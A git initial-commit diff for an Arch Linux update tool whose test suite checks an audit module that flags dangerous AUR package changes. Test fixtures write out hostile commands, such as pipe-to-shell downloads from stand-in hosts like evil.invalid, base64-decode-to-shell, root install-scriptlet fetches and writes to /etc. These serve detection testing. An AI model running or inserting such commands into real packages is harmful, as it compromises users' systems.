Initial commit
diff --git a/.gitignore b/.gitignore
@@ -0,0 +1,42 @@
+# python
+__pycache__/
+*.py[cod]
+*.egg-info/
+.venv/
+venv/
+
+# build artefacts
+dist/
+build/
+
+# generated render intermediates; the .png references are kept
+prototype/out/*.svg
+prototype/out/*.txt
+prototype/out/*.raw.png
+preview/*.svg
+preview/*.txt
+preview/*.raw.png
+
+# third-party reference material, not ours
+.recon/
+
+# runtime state
+*.log
+
+# go build/module caches (kept inside the repo only because the sandbox cannot
+# write to the default ~/.cache/go-build; a normal checkout does not need these)
+tui/.gopath/
+tui/.gocache/
+tui/.gomodcache/
+.gopath/
+.gocache/
+.gomodcache/
+tui/updater-tui
+*.bkp
+*~
+.DS_Store
+node_modules/
+/dist/
+docs/
+.pytest_cache/
+preview/
diff --git a/README.md b/README.md
@@ -0,0 +1,13 @@
+# orchard
+
+> This is a personal tool I vibeslopped because I wasn't happy with any Arch updater tools I came across. It isn't intended for general use, and public only because maybe someone will find it useful.
+
+A pretty Arch Linux update orchestrator.
+
+Reviews what is changing, builds AUR packages in dependency order, keeps a ledger of
+what was installed, and audits the result.
+
+## Layout
+
+ updater/ Python core
+ tui/ Go terminal interface
diff --git a/pyproject.toml b/pyproject.toml
@@ -0,0 +1,35 @@
+[build-system]
+requires = ["setuptools>=68"]
+build-backend = "setuptools.build_meta"
+
+[project]
+name = "updater"
+version = "0.1.0"
+description = "A pretty Arch Linux update orchestrator"
+requires-python = ">=3.11"
+dependencies = ["rich>=13"]
+
+[project.optional-dependencies]
+# pyalpm is provided by the arch package `python-pyalpm` / `pyalpm`
+alpm = ["pyalpm"]
+
+[project.scripts]
+updater = "updater.cli:main"
+
+[tool.setuptools.packages.find]
+include = ["updater*"]
+
+[tool.ruff]
+line-length = 100
+target-version = "py311"
+
+[tool.ruff.lint]
+# RUF100 asks for noqa comments ruff does not need. Ours are `# noqa: E402` on
+# the imports that follow a sys.path insert in the tests, which ruff's default
+# rule set does not cover and flake8 does. They are deliberate; keep them.
+ignore = ["RUF100"]
+
+[tool.ruff.lint.per-file-ignores]
+# Test doubles carry mutable class attributes on purpose, and a fixture may
+# build a naive datetime: neither is a defect in the code under test.
+"tests/*" = ["RUF012", "DTZ007"]
diff --git a/tests/run.py b/tests/run.py
@@ -0,0 +1,64 @@
+"""Run every test module in one go.
+
+Each test module is independently runnable and also pytest-compatible; this
+runner exists so the suite can be executed without pytest installed.
+"""
+
+from __future__ import annotations
+
+import importlib.util
+import sys
+import traceback
+from pathlib import Path
+
+HERE = Path(__file__).resolve().parent
+
+
+def load(path: Path):
+ spec = importlib.util.spec_from_file_location(path.stem, path)
+ module = importlib.util.module_from_spec(spec)
+ sys.modules[path.stem] = module
+ assert spec.loader is not None
+ spec.loader.exec_module(module)
+ return module
+
+
+def main() -> int:
+ total = failed = 0
+ verbose = "-v" in sys.argv
+ modules = sorted(p for p in HERE.glob("test_*.py"))
+ for path in modules:
+ try:
+ module = load(path)
+ except Exception: # noqa: BLE001
+ print(f"\n{path.stem}: FAILED TO IMPORT")
+ traceback.print_exc()
+ failed += 1
+ continue
+ tests = [
+ (n, f) for n, f in sorted(vars(module).items()) if n.startswith("test_") and callable(f)
+ ]
+ module_failed = 0
+ for name, fn in tests:
+ total += 1
+ try:
+ fn()
+ except Exception as exc: # noqa: BLE001
+ module_failed += 1
+ print(f"FAIL {path.stem}::{name}")
+ print(f" {type(exc).__name__}: {exc}")
+ if verbose:
+ traceback.print_exc()
+ else:
+ if verbose:
+ print(f"ok {path.stem}::{name}")
+ failed += module_failed
+ status = "ok" if not module_failed else f"{module_failed} FAILED"
+ print(f"{status:>10} {path.stem} ({len(tests)} tests)")
+
+ print(f"\n{total - failed}/{total} passed across {len(modules)} modules")
+ return 1 if failed else 0
+
+
+if __name__ == "__main__":
+ raise SystemExit(main())
diff --git a/tests/test_audit.py b/tests/test_audit.py
@@ -0,0 +1,373 @@
+"""Audit rules. The tests that matter are the false-negative and false-positive
+ones: a missed `curl | sh` is dangerous, and a rule that fires on every benign
+version bump is worse than no rule at all, because the user stops reading.
+"""
+
+from __future__ import annotations
+
+import sys
+from pathlib import Path
+
+sys.path.insert(0, str(Path(__file__).resolve().parent.parent))
+
+from updater.audit import ( # noqa: E402
+ Change,
+ Severity,
+ audit,
+ domain_of,
+ filename_of,
+ semantic_diff,
+)
+from updater.srcinfo import parse_pkgbuild, parse_srcinfo # noqa: E402
+
+BENIGN_OLD = """pkgbase = demo
+\tpkgver = 1.0.0
+\tpkgrel = 1
+\tsource = https://github.com/u/demo/archive/v1.0.0.tar.gz
+\tsha256sums = aaaa
+\tdepends = glibc
+
+pkgname = demo
+"""
+
+BENIGN_NEW = BENIGN_OLD.replace("1.0.0", "1.0.1").replace("sha256sums = aaaa", "sha256sums = bbbb")
+
+PKGBUILD = """pkgname=demo
+pkgver={ver}
+source=("{url}")
+sha256sums=('{sum}')
+depends=('glibc')
+
+build() {{
+ cd "$srcdir/demo-$pkgver"
+ {body}
+}}
+"""
+
+
+def make(
+ old_ver="1.0.0",
+ new_ver="1.0.1",
+ old_body="make",
+ new_body="make",
+ old_url="https://github.com/u/demo/archive/v1.0.0.tar.gz",
+ new_url="https://github.com/u/demo/archive/v1.0.1.tar.gz",
+ old_sum="aaaa",
+ new_sum="bbbb",
+ name="demo",
+) -> Change:
+ def si(ver, url, sum_, srcinfo=True):
+ if srcinfo:
+ return parse_srcinfo(
+ f"pkgbase = {name}\n\tpkgver = {ver}\n\tpkgrel = 1\n"
+ f"\tsource = {url}\n\tsha256sums = {sum_}\n\tdepends = glibc\n\n"
+ f"pkgname = {name}\n"
+ )
+ return None
+
+ return Change(
+ package=name,
+ old_srcinfo=si(old_ver, old_url, old_sum),
+ new_srcinfo=si(new_ver, new_url, new_sum),
+ old_pkgbuild=parse_pkgbuild(
+ PKGBUILD.format(ver=old_ver, url=old_url, sum=old_sum, body=old_body)
+ ),
+ new_pkgbuild=parse_pkgbuild(
+ PKGBUILD.format(ver=new_ver, url=new_url, sum=new_sum, body=new_body)
+ ),
+ )
+
+
+# --------------------------------------------------------------------------
+# false positives: a boring version bump must stay boring
+# --------------------------------------------------------------------------
+
+
+def test_benign_version_bump_has_no_loud_findings():
+ report = audit(make())
+ loud = report.loud
+ assert not loud, f"benign bump produced {[f.rule for f in loud]}"
+ assert report.verdict is Severity.INFO
+ assert report.diff.pkgver == ("1.0.0", "1.0.1")
+
+
+def test_preexisting_patterns_are_not_reported_as_new():
+ """A curl|sh that has been there for years is not this update's problem."""
+ body = "curl https://x.invalid/i.sh | sh"
+ report = audit(make(old_body=body, new_body=body))
+ assert not [f for f in report.findings if f.rule == "pipe-to-shell"], (
+ "pre-existing pipe-to-shell flagged as newly introduced"
+ )
+
+
+def test_preexisting_sudo_downgrades_to_silence():
+ report = audit(make(old_body="sudo make install", new_body="sudo make install"))
+ assert not [f for f in report.findings if f.rule == "sudo-in-pkgbuild"]
+
+
+# --------------------------------------------------------------------------
+# false negatives: genuinely dangerous changes must be caught
+# --------------------------------------------------------------------------
+
+
+def test_newly_introduced_pipe_to_shell_is_blocked():
+ report = audit(make(new_body="curl https://evil.invalid/i.sh | sh"))
+ blocked = [f for f in report.findings if f.severity is Severity.BLOCK]
+ assert [f.rule for f in blocked] == ["pipe-to-shell"]
+ assert "evil.invalid" in blocked[0].evidence
+ assert blocked[0].where == "PKGBUILD"
+ assert report.verdict is Severity.BLOCK
+
+
+def test_newly_introduced_sudo_is_blocked():
+ report = audit(make(new_body="sudo make install"))
+ assert "sudo-in-pkgbuild" in [f.rule for f in report.findings]
+
+
+def test_base64_decode_to_shell_is_blocked():
+ report = audit(make(new_body="echo aGk= | base64 -d | sh"))
+ assert "decode-to-shell" in [f.rule for f in report.findings if f.severity is Severity.BLOCK]
+
+
+def test_rm_outside_builddir_is_blocked():
+ report = audit(make(new_body='rm -rf "$HOME/.cache"'))
+ assert "rm-outside-builddir" in [f.rule for f in report.findings]
+
+
+def test_writing_to_etc_during_build_is_blocked():
+ report = audit(make(new_body="echo something >> /etc/hosts"))
+ assert "write-system-path" in [f.rule for f in report.findings]
+
+
+def test_setuid_bit_is_blocked():
+ report = audit(make(new_body="chmod u+s bin/tool"))
+ assert "setuid" in [f.rule for f in report.findings]
+
+
+def test_network_fetch_inside_build_is_flagged():
+ report = audit(make(new_body="curl -O https://x.invalid/extra.tar.gz"))
+ assert "network-in-build" in [f.rule for f in report.findings]
+
+
+def test_git_clone_inside_build_is_flagged():
+ report = audit(make(new_body="git clone https://x.invalid/thing"))
+ assert "git-clone-in-build" in [f.rule for f in report.findings]
+
+
+def test_source_domain_change_is_flagged():
+ change = make(new_url="https://mirror.sketchy.invalid/demo-1.0.1.tar.gz")
+ report = audit(change)
+ moves = report.diff.sources_moved
+ assert moves, "source move not detected"
+ assert moves[0].new_domain == "mirror.sketchy.invalid"
+ assert "source-domain-changed" in [f.rule for f in report.findings]
+
+
+def test_same_host_different_path_is_not_a_domain_change():
+ change = make(new_url="https://github.com/u/demo/archive/v1.0.1.tar.gz?v=2")
+ report = audit(change)
+ assert not [f for f in report.findings if f.rule == "source-domain-changed"]
+
+
+# --------------------------------------------------------------------------
+# checksums
+# --------------------------------------------------------------------------
+
+
+def test_skip_introduced_on_non_vcs_is_blocked():
+ new = BENIGN_NEW.replace("sha256sums = bbbb", "sha256sums = SKIP")
+ change = make()
+ change.new_srcinfo = parse_srcinfo(new)
+ report = audit(change)
+ blocked = [f.rule for f in report.findings if f.severity is Severity.BLOCK]
+ assert "sums-skip-introduced" in blocked
+
+
+def test_skip_with_a_vcs_source_is_only_informational():
+ """A live repository cannot be checksummed, so SKIP is the only option."""
+ change = make(name="demo-git", new_url="git+https://github.com/u/demo.git#tag=v1.0.1")
+ change.new_srcinfo = parse_srcinfo(
+ BENIGN_NEW.replace("sha256sums = bbbb", "sha256sums = SKIP").replace(
+ "source = https://github.com/u/demo/archive/v1.0.1.tar.gz",
+ "source = git+https://github.com/u/demo.git#tag=v1.0.1",
+ )
+ )
+ report = audit(change)
+ rules = {f.rule: f.severity for f in report.findings}
+ assert rules.get("sums-skip-vcs") is Severity.INFO
+ assert "sums-skip-introduced" not in rules
+ assert report.verdict is Severity.INFO
+
+
+def test_git_suffix_alone_does_not_excuse_skip():
+ """The package name is not evidence; the source scheme is."""
+ change = make(name="demo-git")
+ change.new_srcinfo = parse_srcinfo(BENIGN_NEW.replace("sha256sums = bbbb", "sha256sums = SKIP"))
+ report = audit(change)
+ assert "sums-skip-introduced" in [
+ f.rule for f in report.findings if f.severity is Severity.BLOCK
+ ]
+
+
+def test_preexisting_non_vcs_skip_is_not_reblocked():
+ """A long-standing SKIP on a tarball is bad, but it is not this update's news."""
+ change = make()
+ change.old_srcinfo = parse_srcinfo(BENIGN_OLD.replace("sha256sums = aaaa", "sha256sums = SKIP"))
+ change.new_srcinfo = parse_srcinfo(BENIGN_NEW.replace("sha256sums = bbbb", "sha256sums = SKIP"))
+ report = audit(change)
+ rules = {f.rule: f.severity for f in report.findings}
+ assert rules.get("sums-skip-existing") is Severity.INFO
+ assert "sums-skip-introduced" not in rules
+
+
+def test_pgp_key_removal_is_blocked():
+ change = make()
+ change.old_srcinfo = parse_srcinfo(BENIGN_OLD + "\tvalidpgpkeys = ABC123\n")
+ change.new_srcinfo = parse_srcinfo(BENIGN_NEW)
+ report = audit(change)
+ assert "pgpkey-removed" in [f.rule for f in report.findings if f.severity is Severity.BLOCK]
+
+
+# --------------------------------------------------------------------------
+# maintainer / trust signals
+# --------------------------------------------------------------------------
+
+
+def test_maintainer_change_is_flagged_with_both_names():
+ change = make()
+ change.old_maintainer, change.new_maintainer = "olddev", "newdev"
+ report = audit(change)
+ finding = next(f for f in report.findings if f.rule == "maintainer-changed")
+ assert "olddev" in finding.evidence and "newdev" in finding.evidence
+ assert finding.severity is Severity.LOOK
+
+
+def test_orphaning_is_reported_as_context_not_a_block():
+ """Losing a maintainer is not the risk; gaining one is.
+
+ An orphaned package is ordinary. It is being *adopted* that precedes an
+ account takeover, so that is the case that earns attention.
+ """
+ change = make()
+ change.old_maintainer, change.new_maintainer = "olddev", ""
+ report = audit(change)
+ assert "orphaned" in [f.rule for f in report.findings if f.severity is Severity.INFO]
+ assert not [f for f in report.findings if f.severity is Severity.BLOCK]
+
+
+def test_unchanged_maintainer_is_silent():
+ change = make()
+ change.old_maintainer = change.new_maintainer = "samedev"
+ assert "maintainer-changed" not in [f.rule for f in audit(change).findings]
+
+
+def test_new_replaces_is_flagged():
+ change = make()
+ change.new_srcinfo = parse_srcinfo(BENIGN_NEW + "\treplaces = other-pkg\n")
+ report = audit(change)
+ finding = next(f for f in report.findings if f.rule == "new-replaces")
+ assert "other-pkg" in finding.evidence
+
+
+def test_new_dependencies_are_listed_as_evidence():
+ change = make()
+ change.new_srcinfo = parse_srcinfo(BENIGN_NEW + "\tdepends = python-attrs\n")
+ report = audit(change)
+ finding = next(f for f in report.findings if f.rule == "new-runtime-dep")
+ assert "python-attrs" in finding.evidence
+
+
+# --------------------------------------------------------------------------
+# semantic diff shape
+# --------------------------------------------------------------------------
+
+
+def test_semantic_diff_counts_function_and_line_changes():
+ change = make(old_body="make", new_body="make\n make docs")
+ diff = semantic_diff(change)
+ assert diff.funcs_changed == ["build"]
+ assert diff.lines_added >= 1
+ assert not diff.is_empty
+
+
+def test_identical_metadata_produces_an_empty_diff():
+ change = make(
+ old_ver="1.0.0",
+ new_ver="1.0.0",
+ old_sum="aaaa",
+ new_sum="aaaa",
+ old_url="https://x.invalid/v1.tar.gz",
+ new_url="https://x.invalid/v1.tar.gz",
+ )
+ assert semantic_diff(change).is_empty
+
+
+def test_helpers():
+ assert domain_of("https://github.com/u/r/archive/v1.tar.gz") == "github.com"
+ assert domain_of("local.patch") == "(local)"
+ assert filename_of("https://github.com/u/r/archive/v1.tar.gz") == "v1.tar.gz"
+ assert filename_of("https://x.invalid/a.tar.gz?token=1#frag") == "a.tar.gz"
+ # a `filename::` prefix must not be mistaken for the host
+ assert (
+ domain_of("alejandra-4.0.0.tar.gz::https://github.com/u/r/archive/x.tar.gz") == "github.com"
+ )
+ assert (
+ filename_of("alejandra-4.0.0.tar.gz::https://github.com/u/r/x.tar.gz")
+ == "alejandra-4.0.0.tar.gz"
+ )
+ assert domain_of("git+https://github.com/u/r.git#tag=v1") == "github.com"
+
+
+def test_is_vcs_source_distinguishes_scheme_from_name():
+ from updater.audit import is_vcs_source
+
+ assert is_vcs_source("git+https://github.com/u/r.git")
+ assert is_vcs_source("svn+https://svn.example.org/repo")
+ assert is_vcs_source("name::git+https://github.com/u/r.git")
+ assert not is_vcs_source("https://github.com/u/r/archive/v1.tar.gz")
+ assert not is_vcs_source("https://github.com/u/r.git") # pinned file, not a clone
+ assert not is_vcs_source("local.patch")
+
+
+def test_domain_change_from_filename_prefix_only_is_not_flagged():
+ """Adding a `filename::` prefix is not a host change."""
+ change = make(new_url="demo-1.0.1.tar.gz::https://github.com/u/demo/archive/v1.0.1.tar.gz")
+ report = audit(change)
+ assert not [f for f in report.findings if f.rule == "source-domain-changed"]
+
+
+def test_a_broken_rule_does_not_kill_the_report(monkeypatch=None):
+ """A rule raising must degrade to an informational finding, not a traceback."""
+ import updater.audit as mod
+
+ original = mod.RULES
+ try:
+
+ def explode(change):
+ raise RuntimeError("boom")
+
+ mod.RULES = original + (explode,)
+ report = audit(make(new_body="sudo make install"))
+ assert any("rule failed" in f.title for f in report.findings)
+ assert "sudo-in-pkgbuild" in [f.rule for f in report.findings]
+ finally:
+ mod.RULES = original
+
+
+def main() -> int:
+ tests = [(n, f) for n, f in sorted(globals().items()) if n.startswith("test_") and callable(f)]
+ failed = 0
+ for name, fn in tests:
+ try:
+ fn()
+ except Exception as exc: # noqa: BLE001
+ failed += 1
+ print(f"FAIL {name}\n {type(exc).__name__}: {exc}")
+ else:
+ print(f"ok {name}")
+ print(f"\n{len(tests) - failed}/{len(tests)} passed")
+ return 1 if failed else 0
+
+
+if __name__ == "__main__":
+ raise SystemExit(main())
diff --git a/tests/test_audit_rules.py b/tests/test_audit_rules.py
@@ -0,0 +1,513 @@
+"""The audit rules, judged against the two ways they can be wrong.
+
+A false positive teaches the reader to ignore the BLOCK tier, which is worse
+than having no BLOCK tier. A false negative means a malicious package passes
+review. Both were measured against real maintainer history on this machine
+(1717 commit pairs across 92 clones) and against deliberately hostile input, and
+every case below is one that was actually wrong.
+
+The severity expectations are the point of the test, not incidental: a rule that
+fires at LOOK where it used to fire at BLOCK is a different, and usually better,
+rule.
+"""
+
+from __future__ import annotations
+
+import sys
+import time
+from pathlib import Path
+
+sys.path.insert(0, str(Path(__file__).resolve().parent.parent))
+
+from updater.audit import ( # noqa: E402
+ MAX_SCAN,
+ PATTERNS,
+ Change,
+ audit,
+ inside_quotes,
+)
+from updater.srcinfo import parse_pkgbuild, parse_srcinfo # noqa: E402
+
+EMPTY = "package() { :; }\n"
+
+
+def findings(
+ old: str | None, new: str | None, *, old_info: str = "", new_info: str = ""
+) -> list[tuple[str, str]]:
+ change = Change(
+ package="t",
+ old_pkgbuild=parse_pkgbuild(old) if old is not None else None,
+ new_pkgbuild=parse_pkgbuild(new) if new is not None else None,
+ old_srcinfo=parse_srcinfo(old_info) if old_info else None,
+ new_srcinfo=parse_srcinfo(new_info) if new_info else None,
+ )
+ return [(f.rule, f.severity.name) for f in audit(change).findings]
+
+
+def findings_plain(change: Change) -> list[tuple[str, str]]:
+ return [(f.rule, f.severity.name) for f in audit(change).findings]
+
+
+def rules(got: list[tuple[str, str]]) -> set[str]:
+ return {rule for rule, _ in got}
+
+
+def severity_of(got: list[tuple[str, str]], rule: str) -> str | None:
+ return next((sev for r, sev in got if r == rule), None)
+
+
+# --------------------------------------------------------------------------
+# false positives
+# --------------------------------------------------------------------------
+
+
+def test_a_dependency_named_sudo_is_not_an_invocation():
+ assert "sudo-in-pkgbuild" not in rules(findings(EMPTY, "depends=('sudo')\n" + EMPTY))
+
+
+def test_sudo_mentioned_in_a_message_is_not_an_invocation():
+ """Install scriptlets routinely echo the command for the user to run."""
+ got = findings(EMPTY, 'package() {\n echo "run: sudo thing --config"\n}\n')
+ assert "sudo-in-pkgbuild" not in rules(got), got
+
+
+def test_a_real_sudo_invocation_still_blocks():
+ for text in (
+ "package() { sudo pacman -S x; }\n",
+ "package() { sudo -v; }\n",
+ "build() {\n sudo make install\n}\n",
+ ):
+ got = findings(EMPTY, text)
+ assert severity_of(got, "sudo-in-pkgbuild") == "BLOCK", (text, got)
+
+
+def test_a_pgp_key_rotation_is_not_a_removal():
+ got = findings(
+ None,
+ None,
+ old_info="pkgbase=t\nvalidpgpkeys = AAAA\n",
+ new_info="pkgbase=t\nvalidpgpkeys = BBBB\n",
+ )
+ assert "pgpkey-removed" not in rules(got), got
+ assert severity_of(got, "pgpkey-rotated") == "INFO", got
+
+
+def test_a_key_removed_with_no_replacement_blocks():
+ got = findings(None, None, old_info="pkgbase=t\nvalidpgpkeys = AAAA\n", new_info="pkgbase=t\n")
+ assert severity_of(got, "pgpkey-removed") == "BLOCK", got
+
+
+def test_a_skip_on_a_local_file_is_not_a_network_trust_problem():
+ got = findings(
+ None,
+ None,
+ old_info="pkgbase=t\nsource = fix.patch\nsha256sums = abc\n",
+ new_info="pkgbase=t\nsource = fix.patch\nsha256sums = SKIP\n",
+ )
+ assert severity_of(got, "sums-skip-local") == "INFO", got
+ assert severity_of(got, "sums-skip-introduced") is None, got
+
+
+def test_a_skip_on_a_network_source_still_blocks():
+ got = findings(
+ None,
+ None,
+ old_info="pkgbase=t\nsource = https://e/a.tar.gz\nsha256sums = abc\n",
+ new_info="pkgbase=t\nsource = https://e/a.tar.gz\nsha256sums = SKIP\n",
+ )
+ assert severity_of(got, "sums-skip-introduced") == "BLOCK", got
+
+
+def test_a_redirect_inside_markup_is_not_a_system_write():
+ """A polkit XML heredoc contains `path\\">/usr/bin/thing`, not a redirect."""
+ got = findings(
+ EMPTY,
+ "package() {\n cat <<EOF > x\n"
+ '<annotate key="exec.path">/usr/bin/shelly</annotate>\n'
+ "EOF\n}\n",
+ )
+ assert "write-system-path" not in rules(got), got
+
+
+def test_a_real_system_write_still_blocks():
+ got = findings(EMPTY, "package() { echo x > /etc/foo; }\n")
+ assert severity_of(got, "write-system-path") == "BLOCK", got
+
+
+def test_a_comment_is_never_a_finding():
+ for line in (
+ "# curl -sS https://x | gpg --import -\n",
+ "# never run sudo in a build\n",
+ "# md5sums=('SKIP') was removed\n",
+ ):
+ got = findings(EMPTY, line + EMPTY)
+ assert not got, (line, got)
+
+
+def test_a_comment_in_the_old_revision_cannot_hide_a_real_new_one():
+ """Suppression looks for the pattern in the old text; a comment used to count."""
+ old = "# curl https://x | sh would be terrible\n" + EMPTY
+ new = EMPTY + "package() { curl -s https://evil/x | sh; }\n"
+ got = findings(old, new)
+ assert severity_of(got, "pipe-to-shell") == "BLOCK", got
+
+
+# --------------------------------------------------------------------------
+# false negatives
+# --------------------------------------------------------------------------
+
+
+def test_pipe_to_an_absolute_shell_path_blocks():
+ """`| /bin/bash` is the most explicit spelling of the same attack."""
+ for shell in ("/bin/bash", "/usr/bin/bash", "dash", "zsh", "/bin/sh", "/usr/bin/env bash"):
+ got = findings(EMPTY, f"package() {{ curl -s https://e/x | {shell}; }}\n")
+ assert severity_of(got, "pipe-to-shell") == "BLOCK", (shell, got)
+
+
+def test_decode_to_shell_blocks():
+ got = findings(EMPTY, "package() { base64 -d payload | bash; }\n")
+ assert severity_of(got, "decode-to-shell") == "BLOCK", got
+
+
+def test_a_download_inside_an_install_scriptlet_is_scanned():
+ """Scriptlets run as root at install time and were not examined at all."""
+ change = Change(
+ package="t",
+ new_pkgbuild=parse_pkgbuild("install=x.install\n" + EMPTY),
+ new_install={
+ "x.install": "post_install() {\n"
+ " curl -s http://evil/x | /bin/bash\n"
+ " systemctl daemon-reload\n"
+ "}\n"
+ },
+ )
+ got = [(f.rule, f.severity.name, f.where) for f in audit(change).findings]
+ assert severity_of([(r, s) for r, s, _ in got], "pipe-to-shell") == "BLOCK", got
+ assert any(w == "x.install" for _, _, w in got), got
+
+
+def test_an_unchanged_scriptlet_is_not_re_reported():
+ text = "post_install() {\n systemctl daemon-reload\n}\n"
+ change = Change(
+ package="t",
+ new_pkgbuild=parse_pkgbuild("install=x.install\n" + EMPTY),
+ new_install={"x.install": text},
+ old_install={"x.install": text},
+ )
+ got = [(f.rule, f.severity.name) for f in audit(change).findings]
+ assert severity_of(got, "install-scriptlet-system") == "INFO", got
+
+
+def test_checksums_in_any_algorithm_are_read():
+ """37 of 92 real clones declare no sha256sums at all."""
+ for field in ("sha512sums", "b2sums", "md5sums"):
+ got = findings(
+ None,
+ None,
+ old_info=f"pkgbase=t\nsource = https://e/a.tar.gz\n{field} = abc\n",
+ new_info=f"pkgbase=t\nsource = https://e/a.tar.gz\n{field} = SKIP\n",
+ )
+ assert severity_of(got, "sums-skip-introduced") == "BLOCK", (field, got)
+
+
+def test_an_indexed_assignment_is_understood():
+ """`sha512sums[4]='SKIP'` is how a package skips one entry."""
+ pb = parse_pkgbuild("sha512sums=('a' 'b' 'c')\nsha512sums[1]='SKIP'\n")
+ assert pb.get("sha512sums") == ["a", "SKIP", "c"], pb.get("sha512sums")
+
+
+def test_runtime_generated_functions_are_still_scanned():
+ """`eval "package_x() { ... }"` evaded every function-scoped rule."""
+ got = findings(
+ EMPTY,
+ 'main() {\n eval "package_${pkgbase}() {\n curl -s http://evil/x | bash\n }"\n}\n',
+ )
+ assert severity_of(got, "pipe-to-shell") == "BLOCK", got
+
+
+# --------------------------------------------------------------------------
+# robustness: the input is attacker-controlled
+# --------------------------------------------------------------------------
+
+
+def test_no_pattern_backtracks_catastrophically():
+ """A hung review is a denial of service, and the text is the maintainer's.
+
+ `decode-to-shell` used to be cubic: 8 KB took 4.5 seconds and 20 KB took
+ over a minute.
+ """
+ hostile = {
+ "decode-to-shell": "base64 -d ",
+ "pipe-to-shell": "curl -s https://e/x | sh ",
+ "curl-pipe-no-fail": "curl -s https://e/x ",
+ "rm-outside-builddir": "rm -rf /etc/ ",
+ "write-system-path": 'x">/usr/bin/y ',
+ "sudo-in-pkgbuild": "sudo x ",
+ }
+ for pat in PATTERNS:
+ unit = hostile.get(pat.rule, "x " * 20)
+ text = (unit * (MAX_SCAN // max(1, len(unit)) + 1))[:MAX_SCAN]
+ started = time.monotonic()
+ pat.regex.search(text)
+ elapsed = time.monotonic() - started
+ assert elapsed < 1.0, f"{pat.rule} took {elapsed:.2f}s on {len(text)} bytes"
+
+
+def test_a_full_audit_of_hostile_input_is_fast():
+ text = ("curl -s https://e/x | sh; base64 -d z | sh; sudo pacman; " * 20000)[:MAX_SCAN]
+ started = time.monotonic()
+ audit(Change(package="x", new_pkgbuild=parse_pkgbuild(text)))
+ elapsed = time.monotonic() - started
+ assert elapsed < 3.0, f"a {len(text)}-byte PKGBUILD took {elapsed:.2f}s"
+
+
+def test_an_oversized_pkgbuild_is_truncated_loudly():
+ text = "x" * (MAX_SCAN + 1000)
+ got = [
+ (f.rule, f.severity.name)
+ for f in audit(Change(package="x", new_pkgbuild=parse_pkgbuild(text))).findings
+ ]
+ assert severity_of(got, "scan-truncated") == "INFO", got
+
+
+def test_a_normal_pkgbuild_is_not_truncated():
+ text = "package() { make; }\n" * 100
+ got = [
+ (f.rule, f.severity.name)
+ for f in audit(Change(package="x", new_pkgbuild=parse_pkgbuild(text))).findings
+ ]
+ assert "scan-truncated" not in rules(got), got
+
+
+# --------------------------------------------------------------------------
+# the audit basis
+# --------------------------------------------------------------------------
+
+
+def test_an_empty_report_says_it_examined_nothing():
+ """ "No findings" and "nothing to look at" must not render the same."""
+ report = audit(Change(package="x"))
+ assert report.audited is False
+ assert report.findings == []
+ assert "not audited" in report.basis.label
+
+
+def test_a_report_with_a_pkgbuild_is_marked_audited():
+ assert audit(Change(package="x", new_pkgbuild=parse_pkgbuild(EMPTY))).audited
+
+
+def test_inside_quotes_finds_quoted_text():
+ line = 'echo "run: sudo thing" done'
+ at = line.index("sudo")
+ assert inside_quotes(line, at)
+ assert not inside_quotes("sudo pacman -S x", 0)
+ assert not inside_quotes('echo "a" sudo x', 10)
+
+
+def test_an_echo_in_a_scriptlet_is_not_an_invocation():
+ """The guard has to apply to the scriptlet scan too, not only the file scan."""
+ change = Change(
+ package="t",
+ new_pkgbuild=parse_pkgbuild("install=x.install\n" + EMPTY),
+ new_install={"x.install": 'post_install() {\n echo "==> run: sudo thing --config"\n}\n'},
+ )
+ got = [(f.rule, f.severity.name) for f in audit(change).findings]
+ assert "sudo-in-pkgbuild" not in rules(got), got
+
+
+def test_a_skip_on_a_detached_signature_is_not_a_network_risk():
+ """A `.sig` is verified against validpgpkeys; a hash is redundant."""
+ got = findings(
+ None,
+ None,
+ old_info="pkgbase=t\nsource = a.sig::https://e/a.gpg\nsha512sums = abc\n",
+ new_info="pkgbase=t\nsource = a.sig::https://e/a.gpg\nsha512sums = SKIP\n",
+ )
+ assert severity_of(got, "sums-skip-signature") == "INFO", got
+ assert severity_of(got, "sums-skip-introduced") is None, got
+
+
+def test_is_signature_source_recognises_the_common_suffixes():
+ from updater.audit import is_signature_source
+
+ for yes in ("a.sig", "a.asc", "a.gpg", "name.sig::https://e/x"):
+ assert is_signature_source(yes), yes
+ for no in ("a.tar.gz", "patch.diff", "", "sig"):
+ assert not is_signature_source(no), no
+
+
+def test_metadata_covered_by_a_gpg_signed_release_is_not_a_network_risk():
+ """A repo `Release` is signed and the `Packages` index is hashed inside it."""
+ old = (
+ "pkgbase=t\n"
+ "source = pkg-1-Release::http://r/dists/Release\n"
+ "source = pkg-1-Release.sig::http://r/dists/Release.gpg\n"
+ "source = pkg-1-Packages::http://r/dists/Packages\n"
+ "validpgpkeys = AAAA\n"
+ "sha512sums = aaaa\nsha512sums = bbbb\nsha512sums = cccc\n"
+ )
+ new = old.replace("sha512sums = aaaa", "sha512sums = SKIP")
+ got = findings(None, None, old_info=old, new_info=new)
+ assert severity_of(got, "sums-skip-introduced") == "INFO", got
+
+
+def test_a_skip_without_gpg_verification_still_blocks():
+ got = findings(
+ None,
+ None,
+ old_info="pkgbase=t\nsource = https://e/a.tar.gz\nsha512sums = abc\n",
+ new_info="pkgbase=t\nsource = https://e/a.tar.gz\nsha512sums = SKIP\n",
+ )
+ assert severity_of(got, "sums-skip-introduced") == "BLOCK", got
+
+
+def test_adopting_an_orphaned_package_is_reported():
+ """The classic AUR account-takeover vector.
+
+ The recorded state used to encode "orphaned" and "no record" identically as
+ None, so adoption was indistinguishable from continuity and reported
+ nothing at all.
+ """
+ got = findings_plain(Change(package="t", old_maintainer="", new_maintainer="evildev"))
+ assert severity_of(got, "maintainer-adopted") == "LOOK", got
+
+
+def test_a_first_audit_does_not_claim_every_package_was_adopted():
+ """No record is not evidence of an adoption."""
+ got = findings_plain(Change(package="t", old_maintainer=None, new_maintainer="someone"))
+ assert "maintainer-adopted" not in rules(got), got
+
+
+def test_orphaning_is_only_context():
+ got = findings_plain(Change(package="t", old_maintainer="olddev", new_maintainer=None))
+ assert severity_of(got, "orphaned") == "INFO", got
+
+
+def test_a_new_source_from_an_unfamiliar_host_is_loud():
+ """A version bump renames the tarball, so `added` and `removed` are both set
+ and the old guard reported nothing -- the shape of slipping a patch in."""
+ old = "pkgbase=t\nsource = https://good/demo-1.0.0.tar.gz\nsha256sums = aaaa\n"
+ new = (
+ "pkgbase=t\nsource = https://good/demo-1.0.1.tar.gz\n"
+ "source = http://evil/backdoor.patch\n"
+ "sha256sums = bbbb\nsha256sums = cccc\n"
+ )
+ got = findings(None, None, old_info=old, new_info=new)
+ assert severity_of(got, "source-host-added") == "LOOK", got
+
+
